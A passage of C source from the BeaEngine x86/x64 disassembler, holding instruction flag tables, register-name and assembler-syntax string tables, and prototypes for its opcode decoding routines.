    {RE_, RE_, MO_, RE_, MO_, MO_, 0  , 0  , 0  , 0  , 0},  // 47 - UCOMISS
    {PR_, PR_, PR_, PR_, PR_, PR_, PR_, PR_, PR_, TE_, 0},  // 48 - IRET
    {TE_, TE_, TE_, 0  , TE_, TE_, 0  , 0  , 0  , 0  , 0},  // 49 - Jcc

    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 50 - JCXZ
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 51 - JMP
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 52 - LAHF
    {0  , 0  , MO_, 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 53 - LAR
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 54 - LDS LES LSS LFS LGS
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 55 - LEA
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 56 - LEAVE
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 57 - LGDT LIDT LLDT LMSW
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 58 - LOCK
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , TE_, 0  , 0},  // 59 - LODS

    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 60 - LOOP
    {0  , 0  , TE_, 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 61 - LOOPE LOOPNE
    {0  , 0  , MO_, 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 62 - LSL
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 63 - LTR
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 64 - MONITOR
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 65 - MWAIT
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 66 - MOV
    {UN_, UN_, UN_, UN_, UN_, UN_, 0  , 0  , 0  , 0  , 0},  // 67 - MOV control, debug, test
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , TE_, 0  , 0},  // 68 - MOVS
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 69 - MOVSX MOVZX

    {MO_, UN_, UN_, UN_, UN_, MO_, 0  , 0  , 0  , 0  , 0},  // 70 - MUL
    {MO_, MO_, MO_, MO_, MO_, MO_, 0  , 0  , 0  , 0  , 0},  // 71 - NEG
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 72 - NOP
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 73 - NOT
    {RE_, MO_, MO_, UN_, MO_, RE_, 0  , 0  , 0  , 0  , 0},  // 74 - OR
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 75 - OUT
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , TE_, 0  , 0},  // 76 - OUTS
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 77 - POP POPA
    {PR_, PR_, PR_, PR_, PR_, PR_, PR_, PR_, PR_, PR_, 0},  // 78 - POPF
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 79 - PUSH PUSHA PUSHF

    {MO_, 0  , 0  , 0  , 0  , MO_, 0  , 0  , 0  , 0  , 0},  // 80 - RCL RCR 1
    {UN_, 0  , 0  , 0  , 0  , MO_, 0  , 0  , 0  , 0  , 0},  // 81 - RCL RCR
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 82 - RDMSR
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 83 - RDPMC
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 84 - RDTSC
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 85 - REP REPE REPNE
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 86 - RET
    {MO_, 0  , 0  , 0  , 0  , MO_, 0  , 0  , 0  , 0  , 0},  // 87 - ROL ROR 1
    {UN_, 0  , 0  , 0  , 0  , MO_, 0  , 0  , 0  , 0  , 0},  // 88 - ROL ROR
    {MO_, MO_, MO_, MO_, MO_, MO_, MO_, MO_, MO_, MO_, MO_},  // 89 - RSM

    {0  , PR_, PR_, PR_, PR_, PR_, 0  , 0  , 0  , 0  , 0},  // 90 - SAHF
    {MO_, MO_, MO_, 0  , MO_, MO_, 0  , 0  , 0  , 0  , 0},  // 91 - SAL SAR SHL SHR 1
    {0  , MO_, MO_, 0  , MO_, MO_, 0  , 0  , 0  , 0  , 0},  // 92 - SAL SAR SHL SHR
    {MO_, MO_, MO_, MO_, MO_, MO_, 0  , 0  , 0  , 0  , 0},  // 93 - SBB
    {MO_, MO_, MO_, MO_, MO_, MO_, 0  , 0  , 0  , 0  , 0},  // 94 - SCAS
    {TE_, TE_, TE_, 0  , TE_, TE_, 0  , 0  , 0  , 0  , 0},  // 95 - SETcc
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 96 - SGDT SIDT SLDT SMSW
    {UN_, MO_, MO_, UN_, MO_, MO_, 0  , 0  , 0  , 0  , 0},  // 97 - SHLD SHRD
    {0  , 0  , 0  , 0  , 0  , SE_, 0  , 0  , 0  , 0  , 0},  // 98 - STC
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , SE_, 0  , 0},  // 99 - STD

    {0  , 0  , 0  , 0  , 0  , 0  , 0  , SE_, 0  , 0  , 0},  // 100 - STI
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 101 - STOS
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 102 - STR
    {MO_, MO_, MO_, MO_, MO_, MO_, 0  , 0  , 0  , 0  , 0},  // 103 - SUB
    {RE_, MO_, MO_, UN_, MO_, RE_, 0  , 0  , 0  , 0  , 0},  // 104 - TEST
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 105 - UD2
    {0  , 0  , MO_, 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 106 - VERR VERRW
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 107 - WAIT
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 108 - WBINVD
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 109 - WRMSR

    {MO_, MO_, MO_, MO_, MO_, MO_, 0  , 0  , 0  , 0  , 0},  // 110 - XADD
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 111 - XCHG
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 112 - XLAT
    {RE_, MO_, MO_, UN_, MO_, RE_, 0  , 0  , 0  , 0  , 0},  // 113 - XOR

    {RE_, RE_, MO_, RE_, RE_, RE_, 0  , 0  , 0  , 0  , 0}  // 114 - POPCNT


    };
// =====================================================
// To make a tabulation between mnemonic and first argument
// =====================================================
char space_tab[11][16] = {
    " ",
    "  ",
    "   ",
    "    ",
    "     ",
    "      ",
    "       ",
    "        ",
    "         ",
    "          ",
    "           ",

};
// =====================================================
// Segment registers
// =====================================================
char SegmentRegs[7][4] = {
    "??:",      // +0
    "es:",      // +1
    "ds:",      // +2
    "fs:",      // +3
    "gs:",      // +4
    "cs:",      // +5
    "ss:",      // +6
};
// =====================================================
// AT&T Suffixes
// =====================================================
char ATSuffixes[8][4] = {
    "b ",     // OpSize == 1
    "w ",     // OpSize == 2
    "l ",     // OpSize == 3
    "q ",     // OpSize == 4
    " ",      // OpSize == 5 (multibytes)
    "t ",     // OpSize == 6
    " ",      // OpSize == 7 (fword)
    " ",      // OpSize == 8 (dqword)
};

// =====================================================
// MASM Prefixes for MemoryType
// =====================================================

char MasmPrefixes[8][16] = {
    "byte ptr ",        // OpSize == 1
    "word ptr ",        // OpSize == 2
    "dword ptr ",       // OpSize == 3
    "qword ptr ",       // OpSize == 4
    " ",                // OpSize == 5 (multibytes)
    "tbyte ptr ",       // OpSize == 6
    "fword ptr ",       // OpSize == 7 (fword)
    "dqword ptr ",      // OpSize == 8 (dqword)
};

// =====================================================
// NASM Prefixes for MemoryType
// =====================================================
char NasmPrefixes[8][8] = {
    "byte ",      // OpSize == 1
    "word ",      // OpSize == 2
    "dword ",     // OpSize == 3
    "qword ",     // OpSize == 4
    " ",          // OpSize == 5 (multibytes)
    "tword ",     // OpSize == 6
    " ",          // OpSize == 7 (fword)
    " ",          // OpSize == 8 (dqword)
};



// =====================================================
// GOASM Prefixes for MemoryType
// =====================================================
char GoAsmPrefixes[8][4] = {
    "b ",     // OpSize == 1
    "w ",     // OpSize == 2
    "d ",     // OpSize == 3
    "q ",     // OpSize == 4
    " ",      // OpSize == 5 (multibytes)
    "t ",     // OpSize == 6
    " ",      // OpSize == 7 (fword)
    " ",      // OpSize == 8 (dqword)
};


// =====================================================
// Segment registers
// =====================================================
char RegistersSEG[16][8] = {
    "es",      // +0
    "cs",      // +1
    "ss",      // +2
    "ds",      // +3
    "fs",      // +4
    "gs",      // +5
    "seg?",
    "seg?",
    "seg?",
    "seg?",
    "seg?",
    "seg?",
    "seg?",
    "seg?",
    "seg?",
    "seg?",
};

// =====================================================
// FPU Registers
// =====================================================
char RegistersFPU_Masm[8][8] = {
    "st(0)",      // +0
    "st(1)",      // +1
    "st(2)",      // +2
    "st(3)",      // +3
    "st(4)",      // +4
    "st(5)",      // +5
    "st(6)",      // +6
    "st(7)",      // +7
};

char RegistersFPU_Nasm[8][8] = {
    "st0",      // +0
    "st1",      // +1
    "st2",      // +2
    "st3",      // +3
    "st4",      // +4
    "st5",      // +5
    "st6",      // +6
    "st7",      // +7
};

// =====================================================
// debug registers
// =====================================================
char RegistersDR[16][8] = {
    "dr0",      // +0
    "dr1",      // +1
    "dr2",      // +2
    "dr3",      // +3
    "dr4",      // +4
    "dr5",      // +5
    "dr6",      // +6
    "dr7",      // +7
    "dr8",       // +8
    "dr9",       // +9
    "dr10",      // +10
    "dr11",      // +11
    "dr12",      // +12
    "dr13",      // +13
    "dr14",      // +14
    "dr15",      // +15
};

// =====================================================
// debug registers - AT&T syntax
// =====================================================
char RegistersDR_AT[16][8] = {
    "db0",      // +0
    "db1",      // +1
    "db2",      // +2
    "db3",      // +3
    "db4",      // +4
    "db5",      // +5
    "db6",      // +6
    "db7",      // +7
    "db8",       // +8
    "db9",       // +9
    "db10",      // +10
    "db11",      // +11
    "db12",      // +12
    "db13",      // +13
    "db14",      // +14
    "db15",      // +15
};


// =====================================================
// control registers
// =====================================================
char RegistersCR[16][8] = {
    "cr0",      // +0
    "cr1",      // +1
    "cr2",      // +2
    "cr3",      // +3
    "cr4",      // +4
    "cr5",      // +5
    "cr6",      // +6
    "cr7",      // +7
    "cr8",       // +8
    "cr9",       // +9
    "cr10",      // +10
    "cr11",      // +11
    "cr12",      // +12
    "cr13",      // +13
    "cr14",      // +14
    "cr15",      // +15
};



// =====================================================
// 64 bits registers
// =====================================================
char Registers64Bits[16][4] = {
    "rax",      // +0
    "rcx",      // +1
    "rdx",      // +2
    "rbx",      // +3
    "rsp",      // +4
    "rbp",      // +5
    "rsi",      // +6
    "rdi",      // +7
    "r8",       // +8
    "r9",       // +9
    "r10",      // +10
    "r11",      // +11
    "r12",      // +12
    "r13",      // +13
    "r14",      // +14
    "r15",      // +15
};

// =====================================================
// 32 bits registers
// =====================================================
char Registers32Bits[16][8] = {
    "eax",
    "ecx",
    "edx",
    "ebx",
    "esp",
    "ebp",
    "esi",
    "edi",
    "r8d",
    "r9d",
    "r10d",
    "r11d",
    "r12d",
    "r13d",
    "r14d",
    "r15d",
};

// =====================================================
// 16 bits registers
// =====================================================
char Registers16Bits[16][8] = {
    "ax",
    "cx",
    "dx",
    "bx",
    "sp",
    "bp",
    "si",
    "di",
    "r8w",
    "r9w",
    "r10w",
    "r11w",
    "r12w",
    "r13w",
    "r14w",
    "r15w",
};
// =====================================================
// 8 bits registers
// =====================================================
char Registers8BitsLegacy[8][4] = {
    "al",
    "cl",
    "dl",
    "bl",
    "ah",
    "ch",
    "dh",
    "bh",
};

long REGS8BITS[] = {
    REG0,
    REG1,
    REG2,
    REG3,
    REG0,
    REG1,
    REG2,
    REG3,
};

// =====================================================
// 8 bits registers
// =====================================================
char Registers8Bits[16][8] = {
    "al",
    "cl",
    "dl",
    "bl",
    "spl",
    "bpl",
    "sil",
    "dil",
    "r8L",
    "r9L",
    "r10L",
    "r11L",
    "r12L",
    "r13L",
    "r14L",
    "r15L",
};
// =====================================================
// MMX Registers
// =====================================================
char RegistersMMX[8][4] = {
    "mm0",
    "mm1",
    "mm2",
    "mm3",
    "mm4",
    "mm5",
    "mm6",
    "mm7",
};

// =====================================================
// SSE Registers
// =====================================================
char RegistersSSE[16][8] = {
    "xmm0",
    "xmm1",
    "xmm2",
    "xmm3",
    "xmm4",
    "xmm5",
    "xmm6",
    "xmm7",
    "xmm8",     // SSE3, SSSE3, SSE4
    "xmm9",     // SSE3, SSSE3, SSE4
    "xmm10",    // SSE3, SSSE3, SSE4
    "xmm11",    // SSE3, SSSE3, SSE4
    "xmm12",    // SSE3, SSSE3, SSE4
    "xmm13",    // SSE3, SSSE3, SSE4
    "xmm14",    // SSE3, SSSE3, SSE4
    "xmm15",    // SSE3, SSSE3, SSE4
};

long REGS[] = {
    REG0,        // REG0
    REG1,        // REG1
    REG2,        // REG2
    REG3,        // REG3
    REG4,       // REG4
    REG5,       // REG5
    REG6,       // REG6
    REG7,       // REG7
    REG8,      // REG8
    REG9,      // REG9
    REG10,      // REG10
    REG11,      // REG11
    REG12,     // REG12
    REG13,     // REG13
    REG14,     // REG14
    REG15,     // REG15
};

char BXSI_[] = "bx+si";
char BXDI_[] = "bx+di";
char BPSI_[] = "bp+si";
char BPDI_[] = "bp+di";

static REX_Struct REX;
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// Copyright 2006-2009, BeatriX
// File coded by BeatriX
//
// This file is part of BeaEngine.
//
//    BeaEngine is free software: you can redistribute it and/or modify
//    it under the terms of the GNU Lesser General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    BeaEngine is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU Lesser General Public License for more details.
//
//    You should have received a copy of the GNU Lesser General Public License
//    along with BeaEngine.  If not, see <http://www.gnu.org/licenses/>.

// ====================================== Routines_MODRM
void __stdcall MOD_RM(ARGTYPE*);
void __stdcall Reg_Opcode(ARGTYPE*);

void __stdcall Addr_EAX(ARGTYPE*);
void __stdcall Addr_ECX(ARGTYPE*);
void __stdcall Addr_EDX(ARGTYPE*);
void __stdcall Addr_EBX(ARGTYPE*);
void __stdcall Addr_SIB(ARGTYPE*);
void __stdcall Addr_disp32(ARGTYPE*);
void __stdcall Addr_ESI(ARGTYPE*);
void __stdcall Addr_EDI(ARGTYPE*);

void __stdcall Addr_EAX_disp8(ARGTYPE*);
void __stdcall Addr_ECX_disp8(ARGTYPE*);
void __stdcall Addr_EDX_disp8(ARGTYPE*);
void __stdcall Addr_EBX_disp8(ARGTYPE*);
void __stdcall Addr_SIB_disp8(ARGTYPE*);
void __stdcall Addr_EBP_disp8(ARGTYPE*);
void __stdcall Addr_ESI_disp8(ARGTYPE*);
void __stdcall Addr_EDI_disp8(ARGTYPE*);

void __stdcall Addr_EAX_disp32(ARGTYPE*);
void __stdcall Addr_ECX_disp32(ARGTYPE*);
void __stdcall Addr_EDX_disp32(ARGTYPE*);
void __stdcall Addr_EBX_disp32(ARGTYPE*);
void __stdcall Addr_SIB_disp32(ARGTYPE*);
void __stdcall Addr_EBP_disp32(ARGTYPE*);
void __stdcall Addr_ESI_disp32(ARGTYPE*);
void __stdcall Addr_EDI_disp32(ARGTYPE*);

void __stdcall _EAX(ARGTYPE*);
void __stdcall _ECX(ARGTYPE*);
void __stdcall _EDX(ARGTYPE*);
void __stdcall _EBX(ARGTYPE*);
void __stdcall _ESP(ARGTYPE*);
void __stdcall _EBP(ARGTYPE*);
void __stdcall _ESI(ARGTYPE*);
void __stdcall _EDI(ARGTYPE*);

int __stdcall SIB_0(ARGTYPE*, int);
int __stdcall SIB_1(ARGTYPE*, int);
int __stdcall SIB_2(ARGTYPE*, int);
int __stdcall SIB_3(ARGTYPE*, int);

// ====================================== Routines_Disasm
void __stdcall EbGb(PDISASM);
void __stdcall EvGv(PDISASM);
void __stdcall EvIb(PDISASM);
void __stdcall ExGx(PDISASM);
void __stdcall EvIv(PDISASM);
void __stdcall EbIb(PDISASM);
void __stdcall Eb(PDISASM);
void __stdcall Ev(PDISASM);
void __stdcall GvEv(PDISASM);
void __stdcall GvEb(PDISASM);
void __stdcall GxEx(PDISASM);
void __stdcall GvEw(PDISASM);
void __stdcall GbEb(PDISASM);
void __stdcall ALIb(PDISASM);
void __stdcall eAX_Iv(PDISASM);
int __stdcall AnalyzeOpcode (PDISASM);
int __stdcall Security(int);
void __stdcall CalculateRelativeAddress(long long *, long);
int __stdcall CopyFormattedNumber(char*,char*, long long);
void __stdcall BuildCompleteInstruction(PDISASM);
void __stdcall BuildCompleteInstructionATSyntax(PDISASM);
void __stdcall InitVariables (PDISASM);
void __stdcall FillFlags(PDISASM, int);
void __stdcall FillSegmentsRegisters (PDISASM);
void __stdcall FixArgSizeForMemoryOperand (PDISASM);
void __stdcall FixREXPrefixes (PDISASM);

// ====================================== opcodes_prefix
void __stdcall PrefLock(PDISASM);
void __stdcall PrefREPNE(PDISASM);
void __stdcall PrefREPE(PDISASM);
void __stdcall PrefSEGCS(PDISASM);
void __stdcall PrefSEGDS(PDISASM);
void __stdcall PrefSEGES(PDISASM);
void __stdcall PrefSEGFS(PDISASM);
void __stdcall PrefSEGGS(PDISASM);
void __stdcall PrefSEGSS(PDISASM);
void __stdcall PrefOpSize(PDISASM);
void __stdcall PrefAdSize(PDISASM);
void __stdcall Esc_2byte(PDISASM);
void __stdcall Esc_tableA4(PDISASM);
void __stdcall Esc_tableA5(PDISASM);


// ====================================== opcodes_A_M
void __stdcall FailDecode(PDISASM);
void __stdcall aaa_(PDISASM);
void __stdcall aad_(PDISASM);
void __stdcall aas_(PDISASM);
void __stdcall aam_(PDISASM);
void __stdcall add_EbGb(PDISASM);
void __stdcall add_EvGv(PDISASM);
void __stdcall add_GbEb(PDISASM);
void __stdcall add_GvEv(PDISASM);
void __stdcall add_ALIb(PDISASM);
void __stdcall add_eAX_Iv(PDISASM);
void __stdcall adc_ALIb(PDISASM);
void __stdcall adc_eAX_Iv(PDISASM);
void __stdcall adc_EbGb(PDISASM);
void __stdcall adc_EvGv(PDISASM);
void __stdcall adc_GbEb(PDISASM);
void __stdcall adc_GvEv(PDISASM);
void __stdcall and_EbGb(PDISASM);
void __stdcall and_ALIb(PDISASM);
void __stdcall and_eAX_Iv(PDISASM);
void __stdcall and_EvGv(PDISASM);
void __stdcall and_GbEb(PDISASM);
void __stdcall and_GvEv(PDISASM);
void __stdcall arpl_(PDISASM);
void __stdcall bound_(PDISASM);
void __stdcall bswap_eax(PDISASM);
void __stdcall bswap_ebp(PDISASM);
void __stdcall bswap_ebx(PDISASM);
void __stdcall bswap_ecx(PDISASM);
void __stdcall bswap_edi(PDISASM);
void __stdcall bswap_edx(PDISASM);
void __stdcall bswap_esi(PDISASM);
void __stdcall bswap_esp(PDISASM);
void __stdcall bsf_GvEv(PDISASM);
void __stdcall bsr_GvEv(PDISASM);
void __stdcall btc_EvGv(PDISASM);
void __stdcall btr_EvGv(PDISASM);
void __stdcall bt_EvGv(PDISASM);
void __stdcall bts_EvGv(PDISASM);
void __stdcall callf_(PDISASM);
void __stdcall call_(PDISASM);
void __stdcall cdq_(PDISASM);
void __stdcall clts_(PDISASM);
void __stdcall cmc_(PDISASM);
void __stdcall cmovo_(PDISASM);
void __stdcall cmovno_(PDISASM);
void __stdcall cmovb_(PDISASM);
void __stdcall cmovnb_(PDISASM);
void __stdcall cmove_(PDISASM);
void __stdcall cmovne_(PDISASM);
void __stdcall cmovbe_(PDISASM);
void __stdcall cmovnbe_(PDISASM);
void __stdcall cmovs_(PDISASM);
void __stdcall cmovns_(PDISASM);
void __stdcall cmovp_(PDISASM);
void __stdcall cmovnp_(PDISASM);
void __stdcall cmovl_(PDISASM);
void __stdcall cmovnl_(PDISASM);
void __stdcall cmovle_(PDISASM);
void __stdcall cmovnle_(PDISASM);
void __stdcall cmpx_EbGb(PDISASM);
void __stdcall cmpx_EvGv(PDISASM);
void __stdcall cmp_EbGb(PDISASM);
void __stdcall cmp_EvGv(PDISASM);
void __stdcall cmp_GbEb(PDISASM);
void __stdcall cmp_GvEv(PDISASM);
void __stdcall cmp_ALIb(PDISASM);
void __stdcall cmp_eAX_Iv(PDISASM);
void __stdcall cmpsb_(PDISASM);
void __stdcall cmps_(PDISASM);
void __stdcall cwde_(PDISASM);
void __stdcall clc_(PDISASM);
void __stdcall cld_(PDISASM);
void __stdcall cli_(PDISASM);
void __stdcall cpuid_(PDISASM);
void __stdcall daa_(PDISASM);
void __stdcall das_(PDISASM);
void __stdcall dec_eax(PDISASM);
void __stdcall dec_ecx(PDISASM);
void __stdcall dec_edx(PDISASM);
void __stdcall dec_ebx(PDISASM);
void __stdcall dec_esp(PDISASM);
void __stdcall dec_ebp(PDISASM);
void __stdcall dec_esi(PDISASM);
void __stdcall dec_edi(PDISASM);
void __stdcall enter_(PDISASM);
void __stdcall femms_(PDISASM);
void __stdcall hlt_(PDISASM);
void __stdcall invd_(PDISASM);
void __stdcall inc_eax(PDISASM);
void __stdcall inc_ecx(PDISASM);
void __stdcall inc_edx(PDISASM);
void __stdcall inc_ebx(PDISASM);
void __stdcall inc_esp(PDISASM);
void __stdcall inc_ebp(PDISASM);
void __stdcall inc_esi(PDISASM);
void __stdcall inc_edi(PDISASM);
void __stdcall iret_(PDISASM);
void __stdcall in_ALDX(PDISASM);
void __stdcall in_ALIb(PDISASM);
void __stdcall in_eAX_Ib(PDISASM);
void __stdcall insb_(PDISASM);
void __stdcall ins_(PDISASM);
void __stdcall into_(PDISASM);
void __stdcall in_eAX(PDISASM);
void __stdcall int_(PDISASM);
void __stdcall int1_(PDISASM);
void __stdcall int3_(PDISASM);
void __stdcall imul_GvEvIv(PDISASM);
void __stdcall imul_GvEv(PDISASM);
void __stdcall imul_GvEvIb(PDISASM);
void __stdcall jo_(PDISASM);
void __stdcall jno_(PDISASM);
void __stdcall jc_(PDISASM);
void __stdcall jnc_(PDISASM);
void __stdcall je_(PDISASM);
void __stdcall jne_(PDISASM);
void __stdcall jbe_(PDISASM);
void __stdcall jnbe_(PDISASM);
void __stdcall js_(PDISASM);
void __stdcall jns_(PDISASM);
void __stdcall jp_(PDISASM);
void __stdcall jnp_(PDISASM);
void __stdcall jl_(PDISASM);
void __stdcall jnl_(PDISASM);
void __stdcall jle_(PDISASM);
void __stdcall jnle_(PDISASM);
void __stdcall jo_near(PDISASM);
void __stdcall jno_near(PDISASM);
void __stdcall jc_near(PDISASM);
void __stdcall jnc_near(PDISASM);
void __stdcall je_near(PDISASM);
void __stdcall jne_near(PDISASM);
void __stdcall jbe_near(PDISASM);
void __stdcall ja_near(PDISASM);
void __stdcall js_near(PDISASM);
void __stdcall jns_near(PDISASM);
void __stdcall jp_near(PDISASM);
void __stdcall jnp_near(PDISASM);
void __stdcall jl_near(PDISASM);
void __stdcall jnl_near(PDISASM);
void __stdcall jle_near(PDISASM);
void __stdcall jnle_near(PDISASM);
void __stdcall jecxz_(PDISASM);
void __stdcall jmp_near(PDISASM);
void __stdcall jmp_far(PDISASM);
void __stdcall jmp_short(PDISASM);
void __stdcall lahf_(PDISASM);
void __stdcall lar_GvEw(PDISASM);
void __stdcall lds_GvM(PDISASM);
void __stdcall leave_(PDISASM);
void __stdcall lea_GvM(PDISASM);
void __stdcall les_GvM(PDISASM);
void __stdcall lodsb_(PDISASM);
void __stdcall lodsw_(PDISASM);
void __stdcall loop_(PDISASM);
void __stdcall loope_(PDISASM);
void __stdcall loopne_(PDISASM);
void __stdcall lsl_GvEw(PDISASM);
void __stdcall lss_Mp(PDISASM);
void __stdcall lfs_Mp(PDISASM);
void __stdcall lgs_Mp(PDISASM);
void __stdcall mov_RdCd(PDISASM);
void __stdcall mov_RdDd(PDISASM);
void __stdcall mov_CdRd(PDISASM);
void __stdcall mov_DdRd(PDISASM);
void __stdcall mov_EbGb(PDISASM);
void __stdcall mov_EvGv(PDISASM);
void __stdcall mov_GbEb(PDISASM);
void __stdcall mov_GvEv(PDISASM);
void __stdcall mov_ALOb(PDISASM);
void __stdcall mov_eAXOv(PDISASM);
void __stdcall mov_ObAL(PDISASM);
void __stdcall mov_OveAX(PDISASM);
void __stdcall mov_ALIb(PDISASM);
void __stdcall mov_CLIb(PDISASM);
void __stdcall mov_DLIb(PDISASM);
void __stdcall mov_BLIb(PDISASM);
void __stdcall mov_AHIb(PDISASM);
void __stdcall mov_CHIb(PDISASM);
void __stdcall mov_DHIb(PDISASM);
void __stdcall mov_BHIb(PDISASM);
void __stdcall movs_(PDISASM);
void __stdcall movsw_(PDISASM);
void __stdcall movzx_GvEb(PDISASM);
void __stdcall movsx_GvEb(PDISASM);
void __stdcall movzx_GvEw(PDISASM);
void __stdcall movsx_GvEw(PDISASM);
void __stdcall mov_EAX(PDISASM);
void __stdcall mov_ECX(PDISASM);
void __stdcall mov_EDX(PDISASM);
void __stdcall mov_EBX(PDISASM);
void __stdcall mov_ESP(PDISASM);
void __stdcall mov_EBP(PDISASM);
void __stdcall mov_ESI(PDISASM);
void __stdcall mov_EDI(PDISASM);
void __stdcall mov_EbIb(PDISASM);
void __stdcall mov_EvIv(PDISASM);
void __stdcall mov_EwSreg(PDISASM);
void __stdcall mov_SregEw(PDISASM);

// ====================================== opcodes_N_Z
void __stdcall nop_(PDISASM);
void __stdcall nop_Ev(PDISASM);
void __stdcall hint_nop(PDISASM);
void __stdcall or_EbGb(PDISASM);
void __stdcall or_EvGv(PDISASM);
void __stdcall or_GbEb(PDISASM);
void __stdcall or_GvEv(PDISASM);
void __stdcall or_ALIb(PDISASM);
void __stdcall or_eAX_Iv(PDISASM);
void __stdcall outsb_(PDISASM);
void __stdcall outsw_(PDISASM);
void __stdcall out_IbAL(PDISASM);
void __stdcall out_Ib_eAX(PDISASM);
void __stdcall out_DXAL(PDISASM);
void __stdcall out_DXeAX(PDISASM);
void __stdcall pop_Ev(PDISASM);
void __stdcall pop_eax(PDISASM);
void __stdcall pop_ecx(PDISASM);
void __stdcall pop_edx(PDISASM);
void __stdcall pop_ebx(PDISASM);
void __stdcall pop_esp(PDISASM);
void __stdcall pop_ebp(PDISASM);
void __stdcall pop_esi(PDISASM);
void __stdcall pop_edi(PDISASM);
void __stdcall pop_ds(PDISASM);
void __stdcall pop_es(PDISASM);
void __stdcall pop_fs(PDISASM);
void __stdcall pop_gs(PDISASM);
void __stdcall pop_ss(PDISASM);
void __stdcall popfd_(PDISASM);
void __stdcall popad_(PDISASM);
void __stdcall push_eax(PDISASM);
void __stdcall push_ecx(PDISASM);
void __stdcall push_edx(PDISASM);
void __stdcall push_ebx(PDISASM);
void __stdcall push_esp(PDISASM);
void __stdcall push_ebp(PDISASM);
void __stdcall push_esi(PDISASM);
void __stdcall push_edi(PDISASM);
void __stdcall push_cs(PDISASM);
void __stdcall push_ds(PDISASM);
void __stdcall push_es(PDISASM);
void __stdcall push_fs(PDISASM);
void __stdcall push_gs(PDISASM);
void __stdcall push_ss(PDISASM);
void __stdcall pushfd_(PDISASM);
void __stdcall pushad_(PDISASM);
void __stdcall push_Iv(PDISASM);
void __stdcall push_Ib(PDISASM);
void __stdcall pushfd_(PDISASM);
void __stdcall pushad_(PDISASM);
void __stdcall retn_(PDISASM);
void __stdcall ret_(PDISASM);
void __stdcall retf_(PDISASM);
void __stdcall retf_Iw(PDISASM);
void __stdcall rdtsc_(PDISASM);
void __stdcall rdmsr_(PDISASM);
void __stdcall rdpmc_(PDISASM);
void __stdcall rsm_(PDISASM);
void __stdcall sysenter_(PDISASM);
void __stdcall sysexit_(PDISASM);
void __stdcall sahf_(PDISASM);
void __stdcall salc_(PDISASM);
void __stdcall scasb_(PDISASM);
void __stdcall scas_(PDISASM);
void __stdcall stc_(PDISASM);
void __stdcall sti_(PDISASM);
void __stdcall stos_(PDISASM);
void __stdcall stosw_(PDISASM);
void __stdcall syscall_(PDISASM);
void __stdcall sysret_(PDISASM);
void __stdcall sbb_EbGb(PDISASM);
void __stdcall sbb_EvGv(PDISASM);
void __stdcall sbb_GbEb(PDISASM);
void __stdcall sbb_GvEv(PDISASM);
void __stdcall sbb_ALIb(PDISASM);
void __stdcall sbb_eAX_Iv(PDISASM);
void __stdcall seto_(PDISASM);
void __stdcall setno_(PDISASM);
void __stdcall setb_(PDISASM);
void __stdcall setnb_(PDISASM);
void __stdcall sete_(PDISASM);
void __stdcall setne_(PDISASM);
void __stdcall setbe_(PDISASM);
